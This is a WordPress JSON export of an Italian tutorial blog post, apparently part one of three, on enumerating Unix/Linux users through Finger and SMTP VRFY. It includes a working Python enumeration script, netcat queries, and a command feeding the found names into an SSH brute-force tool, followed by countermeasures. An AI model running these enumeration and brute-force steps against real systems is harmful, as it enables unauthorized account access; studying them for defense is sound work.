{"id":123,"date":"2024-01-14T00:34:01","date_gmt":"2024-01-14T00:34:01","guid":{"rendered":"https:\/\/www.cyberdoomera.com\/?p=123"},"modified":"2024-01-27T22:16:12","modified_gmt":"2024-01-27T22:16:12","slug":"catch-them-all","status":"publish","type":"post","link":"https:\/\/www.cyberdoomera.com\/en\/2024\/01\/14\/catch-them-all\/","title":{"rendered":"Catch them all &#8211; user enumeration in the real world (part 1 of 3)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Nel precedente articolo abbiamo studiato gli attacchi di tipo password spraying. Come gi\u00e0 spiegato, questi attacchi sono efficaci se l&#8217;attaccante ha a disposizione una lunga lista di utenti validi su un determinato sistema. Questa lista di utenti \u00e8 ottenibile attraverso la tecnica dell&#8217;enumerazione. L&#8217;enumerazione degli utenti \u00e8 spesso una fase che gli attaccanti tralasciano o comunque mettono in secondo piano. Questo a mio avviso avviene per due ragioni principali:<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-size:18px\"><strong>Gli attaccanti non concentrano le loro attenzioni verso un singolo obiettivo<\/strong>: sembra strano leggere questa frase ma non \u00e8 sbagliato dire che  spesso i gruppi criminali non hanno un obiettivo prefissato. Nella maggior parte dei casi invece si cerca di trovare un serie di obiettivi pi\u00f9 vulnerabili\u2002al fine di installare componenti software malevoli. Essendo una questione prettamente monetaria, si punta pi\u00f9 sulla quantit\u00e0 che sulla qualit\u00e0 degli obiettivi <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-size:18px\"><strong>L&#8217;enumerazione degli utenti \u00e8 un&#8217;attivit\u00e0 che pu\u00f2 richiedere molto tempo<\/strong>: escludendo alcuni casi ben specifici come vulnerabilit\u00e0 software o scorrette configurazioni, l&#8217;enumerazione degli utenti \u00e8 un&#8217;attivit\u00e0 che richiede uno studio approfondito del sistema da attaccare. Studio che spesso costringe l&#8217;attaccante ad interagire direttamente con i componenti di una determinata azienda, utilizzando quindi delle tecniche di ingegneria sociale.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Negli attacchi mirati contro aziende o entit\u00e0 governative, dove l&#8217;attaccante \u00e8 fortemente motivato e\/o sovvenzionato da un governo ostile, l&#8217;enumerazione degli utenti assume un ruolo centrale.<\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Enumerazione degli utenti in ambiente Unix\/Linux<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">In questa prima parte ci concentreremo su alcune tecniche di enumerazione utenti in ambiente unix\/linux, per poi mostrare in che modo \u00e8 possibile combinare questa ultime con attacchi di tipo bruteforce al fine di aumentarne l&#8217;efficacia.<\/p>\n\n\n\n<div style=\"height:62px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">In principio era &#8220;Finger&#8221;<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Per ragioni prettamente storiche, pu\u00f2 essere utile parlare del servizio Finger. Se qualcuno di voi ha avuto modo di leggere qualche vecchio testo riguardante l&#8217;hacking, avr\u00e0 sicuramente letto qualcosa riguardante questo servizio. Finger nasce a fine anni 70&#8242;, \u00e8 uno dei primi servizi di ARPANET (l&#8217;antenato dell&#8217;attuale internet) e si prefiggeva lo scopo di fornire utili informazioni riguardante gli utenti di un determinato sistema. E&#8217; un servizio assai obsoleto e, ad esser onesti, sar\u00e0 molto difficile per noi trovarne uno attivo sui nuovi sistemi; tuttavia, ritengo sia utile parlarne per un approfondimento teorico sul nostro tema<\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">E&#8217; possibile utilizzare telnet o netcat per recuperare il banner del server finger, tentando di collegarsi alla porta tcp 79 nel seguente modo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>telnet 79<br>nc -vn 79<\/code><\/pre>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Se doveste essere cos\u00ec fortunati da ricevere una risposta, allora ci troveremmo in uno di questi 3 casi:<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-size:18px\">Un varco temporale si \u00e8 aperto sotto la vostra scrivania e siete stati instantaneamente risucchiati nel 1985;<\/li>\n\n\n\n<li style=\"font-size:18px\">Vi trovate alla presenza di un bel <a href=\"https:\/\/en.wikipedia.org\/wiki\/Honeypot_(computing)\" title=\"honeypot\">honeypot<\/a> e un sedicente ricercatore di sicurezza inizier\u00e0 ad osservare tutti i vostri movimenti;<\/li>\n\n\n\n<li style=\"font-size:18px\">Siete stati davvero fortunati e siete collegati con un server finger.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Solo in quest&#8217;ultimo caso possiamo utilizzare i seguenti comandi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"root\" | nc -vn <ip> 79    #Recupera le informazioni relative all'utente root<br>echo \"*\" | nc -vn <ip> 79    #Recupera tutti gli utenti presenti in un sistema<\/ip><\/ip><\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">E&#8217; cos\u00ec che agli albori di internet venivano enumerati gli utenti sui server Unix. Ora le tecniche sono simili ma i servizi da interrogare diversi<\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">SMTP &#8211; L&#8217;immortale<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Un altro servizio sfruttabile per estrapolare informazioni sugli utenti \u00e8 SMTP. Anche SMTP \u00e8 un servizio abbastanza antico, ma al contrario di finger \u00e8 ancora ampiamente utilizzato per l&#8217;invio della posta elettronica. Da protocollo presenta alcuni comandi che, se abilitati, possono essere utilizzati per i nostri scopi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">I Comandi in questione sono principalmente 2: VRF e EXPN. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Spesso sono disabilitati di default sui server proprio per evitare di fornire troppe informazioni ad un potenziale attaccante.<br>In questa sessione utilizzeremo uno script python per enumerare gli utenti con il comando VRFY.<\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Nmap \u00e8 tuo amico<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">E&#8217; possibile eseguire una scansione con nmap per avere una lista di comandi disponibili sul server.<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"758\" height=\"600\" src=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/nmap_find_smtp-2.jpg\" alt=\"\" class=\"wp-image-163\" srcset=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/nmap_find_smtp-2.jpg 758w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/nmap_find_smtp-2-300x237.jpg 300w\" sizes=\"auto, (max-width: 758px) 100vw, 758px\" \/><\/figure>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"> Per completezza aggiungo che nmap oltre ad essere un portscanner molto potente \u00e8 anche altamente &#8220;customizzabile&#8221; tramite una serie di plugin; uno di questi plugin permette di effettuare direttamente l&#8217;enumerazione degli utenti.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Noi per\u00f2 scriveremo il nostro tool da zero, perch\u00e8 vogliamo imparare&#8230; giusto?<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Dall&#8217;output notiamo subito che tra i comandi utilizzabili \u00e8 presente <strong>VRFY<\/strong>. Creeremo quindi uno script python in grado di sfruttare questo comando per enumerare gli utenti<\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">EnumUSR.py &#8211; Il nostro tool di enumerazione <\/h4>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>#SCRIPT enumusr.py<br><br>from socket import *<br>import sys<br>import time<br><br>TIMEOUT_CONN=2<br>SMTP_PORT = 25<br><br>user_list = &#91;\"root\", \"admin\",\"nick\",\"james\",\"julius\", \"marco\",\"luca\",\"mike\"]<br><br>ip = sys.argv&#91;1]<br><br><br>connSkt = socket(AF_INET, SOCK_STREAM)<br>connSkt.settimeout(TIMEOUT_CONN)<br>connSkt.connect((ip, SMTP_PORT))<br>rcv_data = connSkt.recv(1024)<br>print(\"SMTP server banner: {}\".format(rcv_data.decode('utf-8')))<br>for user in user_list:<br>    vrfy_data = \"VRFY {}\\r\\n\".format(user)<br>    connSkt.send(vrfy_data.encode())<br>    rcv_data = connSkt.recv(1024)<br>    #print(rcv_data.decode('utf-8').strip(\"\\r\\n\"))<br>    if rcv_data.decode('utf-8').startswith(\"252\"):<br>        print(user+\" - found!\")<br>    time.sleep(1)<br>connSkt.close()<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Eseguiremo lo script con il seguente comando: python enumusr.py 172.18.0.3<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"758\" height=\"185\" src=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/smpt_user_found.jpg\" alt=\"\" class=\"wp-image-152\" srcset=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/smpt_user_found.jpg 758w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/smpt_user_found-300x73.jpg 300w\" sizes=\"auto, (max-width: 758px) 100vw, 758px\" \/><\/figure>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Nel nostro caso abbiamo trovato 3 utenti validi sul sistema e possiamo utilizzarli in un attacco di tipo password spraying. Per approfondire questo tipo di attacco vi rimando al mio primo articolo <a href=\"https:\/\/www.cyberdoomera.com\/2024\/01\/05\/break-the-shell\/\" title=\"Break-the-shell\">https:\/\/www.cyberdoomera.com\/2024\/01\/05\/break-the-shell\/<\/a>. <\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">SSHScan strikes back<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Possiamo utilizzare il seguente comando per creare la nostra userlist da utilizzare con il tool sshscan<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>python enumusr.py 172.18.0.4 | grep '\\- found' | awk -F' - ' '{print $1}' > userlist.txt<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Una volta create la nostra userlist con gli utenti trovati, possiamo lanciare il nostro comando sshscan per iniziare l&#8217;attacco bruteforce<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>python sshscan.py scan 172.18.0.4 172.18.0.5 userlist.txt pwd.txt -v<br><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"729\" height=\"453\" src=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/crack_pwd.jpg\" alt=\"\" class=\"wp-image-167\" srcset=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/crack_pwd.jpg 729w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/crack_pwd-300x186.jpg 300w\" sizes=\"auto, (max-width: 729px) 100vw, 729px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Non male vero?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">Baster\u00e0 utilizzare una lista di utenti sufficientemente lunga per avere buone possibilt\u00e0 di successo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">E&#8217; consigliabile costruire questa lista  in base al tipo di target da attaccare, ad esempio:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"> <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-size:18px\">se state cercando di attaccare un server italiano, potrebbe essere utile avere a disposione una lista di nomi di persona italiani;<\/li>\n\n\n\n<li style=\"font-size:18px\">se il nostro obiettivo \u00e8 un&#8217;azienda, potremmo recuperare l&#8217;organigramma e utilizzare altre tecniche di ingegneria sociale per ottenere i nomi dei dipendenti e aggiungerli alla nostra lista.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Contromisure<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">In questo articolo abbiamo analizzato due tecniche per enumerare gli utenti in ambito unix\/linux. Le contromisure attuabili sono le seguenti:<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li style=\"font-size:18px\"><strong>disabilitare il servizio finger<\/strong>: come gi\u00e0 spiegato, Finger \u00e8 un servizio che ha fatto ormai il suo tempo, \u00e8 obsoleto, pericoloso e gi\u00e0 disabilitato di default sui sistemi attuali;<\/li>\n\n\n\n<li style=\"font-size:18px\"><strong>disabilitare i comandi VRFY e EXPN<\/strong>: Al contrario di Finger, SMTP \u00e8 ancora ampiamente utilizzato e spesso non ha senso disabilitare il suo servizio nella sua interezza. E&#8217; comunque possibile disabilitare i comandi VRFY ed EXPN se non strettamente necessari tramite impostazioni.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Considerazioni finali<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\">In questa sessione abbiamo analizzato alcune tecniche riguardante l&#8217;enumerazione degli utenti in ambiente unix\/linux, utilizzato degli script custom per effettuare questi attacchi e studiato delle strategie per la loro mitigazione. Nel prossimo articolo continueremo a parlare di enumerazione in ambito windows.<\/p>\n\n\n\n<div style=\"height:60px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Link utili<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"><a href=\"https:\/\/book.hacktricks.xyz\/network-services-pentesting\/pentesting-finger\">https:\/\/book.hacktricks.xyz\/network-services-pentesting\/pentesting-finger<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"><a href=\"https:\/\/pentestlab.blog\/2012\/11\/20\/smtp-user-enumeration\/\" title=\"https:\/\/pentestlab.blog\/2012\/11\/20\/smtp-user-enumeration\/\">https:\/\/pentestlab.blog\/2012\/11\/20\/smtp-user-enumeration\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"><a href=\"https:\/\/nmap.org\/\">https:\/\/nmap.org\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"font-size:18px\"> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nel precedente articolo abbiamo studiato gli attacchi di tipo password spraying. Come gi\u00e0 spiegato, questi attacchi sono efficaci se l&#8217;attaccante ha a disposizione una lunga lista di utenti validi su un determinato sistema. Questa lista di utenti \u00e8 ottenibile attraverso la tecnica dell&#8217;enumerazione. L&#8217;enumerazione degli utenti \u00e8 spesso una fase che gli attaccanti tralasciano o [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[19],"tags":[],"class_list":["post-123","post","type-post","status-publish","format-standard","hentry","category-hacking"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/comments?post=123"}],"version-history":[{"count":56,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/123\/revisions"}],"predecessor-version":[{"id":228,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/123\/revisions\/228"}],"wp:attachment":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/media?parent=123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/categories?post=123"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/tags?post=123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}